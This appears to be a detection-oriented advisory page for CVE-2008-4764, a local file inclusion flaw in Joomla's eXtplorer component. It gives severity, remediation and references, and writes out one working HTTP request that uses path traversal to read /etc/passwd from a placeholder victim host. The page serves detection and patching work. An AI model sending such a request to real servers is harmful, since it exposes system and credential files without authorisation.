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CVE-2008-4764: Joomla! <=2.0.0 RC2 - Local File Inclusion

TitleJoomla! <=2.0.0 RC2 - Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactAttackers can read sensitive files on the server, potentially leading to information disclosure.
RemediationUpgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability.
CVSS Score5
EPSS Score0.01041
CVE IDCVE-2008-4764
CWE IDCWE-22
Tags cve cve2008 edb joomla lfi extplorer vuln

🔍 Vulnerability Description

Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.

🌐 HTTP Request

GET /index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:12.0) Gecko/20100101 Firefox/12.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2008/CVE-2008-4764.yaml

🦈 Packet Capture: ⬇️ Download cve-2008-4764.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A